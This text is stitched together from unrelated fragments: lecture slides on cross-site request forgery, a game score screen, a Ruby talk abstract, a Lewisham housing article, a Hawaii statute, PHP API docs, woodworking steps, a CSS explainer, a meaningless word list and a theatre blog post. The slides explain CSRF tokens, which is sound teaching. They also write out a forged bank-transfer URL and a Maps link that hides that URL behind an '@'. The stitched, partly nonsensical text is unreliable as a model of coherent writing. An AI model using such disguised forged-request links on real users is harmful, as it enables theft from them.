https://bank.com/xfer?amount=500&to=attacker.
"But banks use forms for transfers!" https://x.wordpress.com/wp-admin/post.php?post=349&action=trash.
Solution: CSRF tokens — make client echo random server nonce.
https://x.wordpress.com/wp-admin/post.php?_wpnonce=5278ce08a&…
Server must now keep state!
I would never click such a link!
— Anonymous 6.858 student on Piazza
Of course not! How about this one?
https://www.google.com/maps/42.3625235,-71.0900909,3a,75y,200.43h,99.9t/data=!3m7!1e1!3m5!1s1pyYsZDrw11f-gKD36D2Ww!2e0!6s//geo0.ggpht.com/cbk?panoid=1pyYsZDrw11f-gKD36D2Ww&output=thumbnail&cb_client=maps_sv.tactile.gps&thumb=2&w=203&h=100&yaw=211.96698&pitch=0!7i13312!8i6656@bank.com/xfer?amount=500&to=attacker
system()
, open()
)
:visited
)
postMessage()
(also hard to get right)


CalmClick
Pause
Record
Your Score:
00
Save
Name
Points
Name
Points
Name
Points
Name
Points
Name
Points
Score:
00
Speed: 1/
1000
ms
Lives:


Ruby Conference 2012
Ruby vs. the world
This presentation, by
Matt Aimonetti
, is licensed under a
Creative Commons Attribution ShareAlike 3.0
Ruby is an awesome programming language, it's so pleasing you probably haven't seriously looked at other languages since you switched. The programming world is evolving fast, new languages are created daily, new trends are emerging. Let's take a few minutes to look at a few languages from a Ruby developer perspective.


Focus on Lewisham: New social scene sparks interest from first-time buyers
by Helen CraneOne might assume there is something in the water in Lewisham. Although it is a relatively unassuming corner of South East London, it has been the birthplace of a wealth of musical talent: Cream drummer Ginger Baker, Rolling Stones bassist Bill Wyman and Sex Pistols frontman Sid Vicious were all born there.
The town’s own profile has historically been much lower than that of its famous children – but now that is starting to change.
“Over the last few years, Lewisham has experienced significant redevelopment with an improved restaurant and bar scene, better facilities and new homes,”says Frances Clacy, research analyst at Savills.
This includes the opening of Model Market, a late night street food venue in a former 1950s market run by Street Feast, who also operate Dinerama in Shoreditch; and Suttons’ Radio, a trendy pub in a former radio shop run by Antic who also operate Dogstar in Brixton and the Tooting Tram & Social.
Yasmin Forester of JLL in Greenwich says Lewisham has had a surge of popularity among young renters for this reason – as well as the fact rents are much cheaper than other, similarly well-connected young professional hotspots like Clapham.
“We are seeing our highest number of registrations for applicants wanting to move into the area”, Forester says. “It offers diversity and culture and is popular with younger tenants.” These renters are starting to translate into first-time buyers, too. According to Hamptons International, 44 per cent of homes in Lewisham were bought by a first-time buyer during the last 12 months.
House prices still cheaper than London average
“Over the last few years, many young professionals have set up home in Lewisham,” adds JLL’s Graham Lawes. Typical buyers have rented in South East London before they purchase, meaning Lewisham is known to them.”
It’s an area that seems to fit the lending criteria of the bank of Mum and Dad, too.
“It has become quite normal to have a gifted 25 per cent deposit from a Blackheath resident who is helping their son or daughter to purchase in nearby Lewisham,” Lawes adds. In addition, Lewisham buyers have been helped further by the fact that house prices are still cheaper than the London average.
According to Savills, the average terraced property costs around £585,000: up to 15 per cent cheaper than comparable homes in other London boroughs.
“For those looking to buy their first property and for others trading up the ladder, Lewisham is a pretty attractive prospect thanks to its zone 2-3 rail and DLR links as well as its well-performing schools,” says Clacy. “Higher house price values in neighbouring places like Greenwich and Blackheath have drawn people to the neighbourhood, who by moving just a few miles south are likely to get more space for their budgets.”
House prices are rising rapidly, though. In the last year they have increased by 5.4 per cent compared to 0.2 per cent across the capital, and for the last five years that figure rises to 47.4 per cent compared to 19 per cent.
The continued investment into Lewisham means prices will continue to rise, according to Lawes.
“You can see the investment into the infrastructure and the careful planning in progress. This should translate into strong capital values down the line when there is more political stability and economic certainty,” he says.
Homes on the market in Lewisham this week
Lucent Point, from £97,500
At Peabody’s Lucent Point development, buyers can purchase a 30 per cent share of a one-bed apartment for £97,500.
Visit lucentpoint.co.uk
Conington Road, £250,000
Located on the fifth floor, this studio apartment benefits from a concierge and on-site gym and is close to Elverson Road DLR.
Call JLL on 020 8858 9986
Eliot Park, £2.6m
This large detached home on a quiet street has nine bedrooms, four bathrooms, a landscaped garden and two terraces.
Call JLL on 020 8858 9986
Area highlights
Lewisham hasn’t historically been known for its buzzing social scene, but things are changing. Quirky pub company Antic opened Sutton’s Radio a couple of years ago, serving up beers, cocktails and tacos on Lewisham High Street. Model Market is a restored 1950s marketplace which houses DJs and late-night street food in the warmer months, while the Fox & Firkin is a friendly community boozer hosting regular live music nights covering everything from heavy metal to reggae. Sparrow is one of Lewisham’s most popular independent restaurants, specialising in small plates with a wide range of culinary influences from British and European to South East Asian. Bella Roma is the go-to neighbourhood Italian, where the pizza receives rave reviews, as does the cosy atmosphere. And if you want to cook your own Mediterranean delights, Antonio Deli – formerly known as Gennaro – is the place to pick up the freshest ingredients.
House prices (Source: Zoopla)
Detached: £791,857
Semi: £651,771
Terraced: £572,428
Flats: £345,087
Most expensive road: Oakcroft Road, £1.64m
Average rent for a two-bed flat: £1,451 pcm
Transport (Source: TfL)
Time to Canary Wharf: 20 mins
Time to Liverpool Street: 33 mins
Nearest rail station: Lewisham DLR


PART I. [OLD] PRISONS AND PRISONERS GENERALLY
§§353-1 to 353-50 [OLD] REPEALED. L 1987, c 338, §3(2).
Note
L 1987, c 127, §2 and c 142, pt of §1 purport to amend repealed §§353-1.1, 353-1.2, 353-4, and 353-30.
PART I. ADMINISTRATIVE STRUCTURE, INSTITUTIONS, AND SERVICES
Law Journals and Reviews
The Hawaii Prison Inmate's Emerging Right to Due Process. 10 HBJ, no. 4, at 115 (1974).
§353-1 Definitions; director may delegate powers. As used in this chapter, unless the context otherwise requires:
"Committed person" means a person committed to the custody of the director of public safety for imprisonment pursuant to chapter 706, including a probationer serving a term of imprisonment pursuant to section 706-624(2)(a) and a misdemeanant or petty misdemeanant sentenced pursuant to section 706-663.
"Department" means the department of public safety.
"Director" means the director of public safety; provided that the signing or approval of vouchers and other routine matters may be delegated by the director to any authorized subordinate. [L 1987, c 338, pt of §3; am L 1989, c 211, §8; am L 1993, c 72, §1]


Let's add a pane for displaying mail content that is displayed when an email is clicked.
That's it! To find out more about modelling your navigation flows and other business processes, check out the process modelling tutorial.


$alarms
$alarms : array<mixed,\Spark\SparkAlarm>
SparkAlarm is a simple yet powerful notification system which alerts you when resources on your machine are low. It's designed to run on linux servers and flexible to fit your needs.
$alarms : array<mixed,\Spark\SparkAlarm>
$notifier : \Spark\Notifier
interval(integer $interval) : \Spark\Spark
Change the interval between test runs, this is only required if keepAlive is set to true otherwise the cronjob determines the interval between tests
| integer | $interval | the interval to pause between testruns in seconds |
silent(boolean $silent) : \Spark\Spark
Toggles whether notifier should be notified at all or not.
| boolean | $silent | set to true to NOT notify notifier. default: false |
notifier(\Spark\SparkNotifier $notifier) : \Spark\Spark
Set a custom notifier to handle failed alarms
| \Spark\SparkNotifier | $notifier |
throttle(integer $throttle) : \Spark\Spark
The minimum delay to pass between notifier events, only if keepAlive is true if keepalive is false then the cronjob determines the minimum throttle.
| integer | $throttle | amount of seconds to pass before notifier is informed again (default: 1 hour) |
keepAlive(boolean $keepAlive) : \Spark\Spark
Whether or not spark should keep running for ever continously checking alarms this is useful if you want to start spark as a system daemon at startup
| boolean | $keepAlive | whether or not to enable keepalive. |
addAlarm(\Spark\SparkAlarm $alarm) : \Spark\Spark
Add a alarm
| \Spark\SparkAlarm | $alarm |
getAlarms() : array<mixed,\Spark\SparkAlarm>
Get a list of alarms


You will need to print the stencils on DIN A3 (297mm × 420mm). Visit a copy shop to do so.
Follow the outer edge of the stencils when cutting. Don't forget to cut the gap for the cables of the lid.
Use the 5mm plywood for the top, front and side panels. Lay the
stencils down on the plywood. Use a pencil to draw the lines a long
the outline of the stencils. When sawing, use a bigger saw for the
straight lines and a smaller one for the round edges and details.
Make sure to leave a bit space between the stencils,
as when you saw you are taking material away.
Start by


The first thing we want to talk about is what are the differences between the 3?
- Padding: This controls the amount of space between the context/content and it's border.
- Margin: This will control the amount of space between the other content on the page and the border.
- Border: this is a border around an html element (your content or text).
there are so many ways to use these, but below shows a visual reprsentation of what the three 3 are.
depending on how you want the format of your website to look like is when you would use these appropiatly.


recruitment smoking study recruited participants information (.) invitation community activity telephone disadvantaged follow-up reduction Local cessation research health smokers recruit Total groups time primary SSS trial support (%) care Health physical quit recruiting calls use data people Smoking (%)) target researcher (n, approaches associated stop Recruitment intervention participant used Table local attempt letter cut sent likely randomized reach Heal single minutes methods invitations team low previous initial contact social rates number (IQR)) different Stop given effectiveness past approach median packs location Research levels practice potential National parents population using motivation Data Time promoting interested day Number characteristics status review sample SSS, smoking, (mean invited centre reduce plus mental Plymouth involved reported details Public Taylor effective directly mean moderate systematic increasing quitting (.); cigarettes intensity aids conversion needed did attended time. priority behavioral appeal years, ineligibility smoker, general high nicotine outside West University (minutes) services novel targeted Posters require behaviour compared screening recorded community-based site increase Primary Overall, (SD); Department study. provided present baseline took distributed toddler areas interventions main year Nicotine unemployed know, higher ./j.-...x trials controlled way various received available (for assess abrupt Researchers variety work desire unemployed, analysis supported criteria method Intended best example, (.%) strategies (with hours) Community NHS collected individual studies spent nature reply Potentially engage lack Fagerstrom (SD) having change intervention, indicating intervention) active searching identify recruitment. Qualitative thought club Psychological practices relatively suggest indicated mailed broader rate) engagement Age team, vigorous attracted approached displayed years reminder successfully paper Job group parent locations Glasgow traditional Self-reported think information. completing message experiences similar smokers. smokers, response) Letter heavy Exercise population, Res (letter terms populations United service interest. compare failed based approaches. (::) shown analyses workers, (Male, pilot respond England statistical potentially I’ve posters identified registered (such Service reducing focus just managers quit. sheets left Trial that’s Centre consisted smoking: SSS. attending Med completed London, distributed. lost Yes Potential summary Addiction eligible (SD), school study, success qualitative Fagerström researchers attempts Care


Class MVCBundle
Wrapper for the individual Model, View and Controller classes of the MVC.
Used to run the normal MVC and errors if needed.
Namespace: Steel\MVC
Author: Eric Rabil<EMAIL_ADDRESS>Since: 1.0
Located at Steel/MVC/MVCBundle.php
Author: Eric Rabil<EMAIL_ADDRESS>Since: 1.0
Located at Steel/MVC/MVCBundle.php
Methods summary
public
|
#
__construct(
Constructor for the MVCBundle |
public
|
|
public
integer
|
|
public
|
|
public
boolean
|
|
public
boolean
|
|
public
|
|
public
|
|
public
|


Annie and I would normally be expected to go together like... milk and vinegar, or mellon and red wine. So in all fairness I should say up front that I enjoyed this show much more than I expected to.
Somehow I ended up with four parts here! The Star To Be part is a challenge because there is a really tricky key change just before the entry, but with a lot of work we were able to get that sorted out. Fred gets to sing a great solo in the "Herbert Hoover" number, and Fred McCracken is the ventriloquist in the radio studio scene that opens Act Two.
Francis Perkins is quite interesting. Remember Calamity Jane, where there is confusion between Francis Fryer and Frances Fryer? Well, Frances Perkins was the first female USAan cabinet member. When I played her she was a baritone!
In these photographs, your eyes are not deceiving you. There are two Annies. For legal reasons, there had to be two Annies, and there was only one dress rehearsal. So both Annies did the dress rehearsal.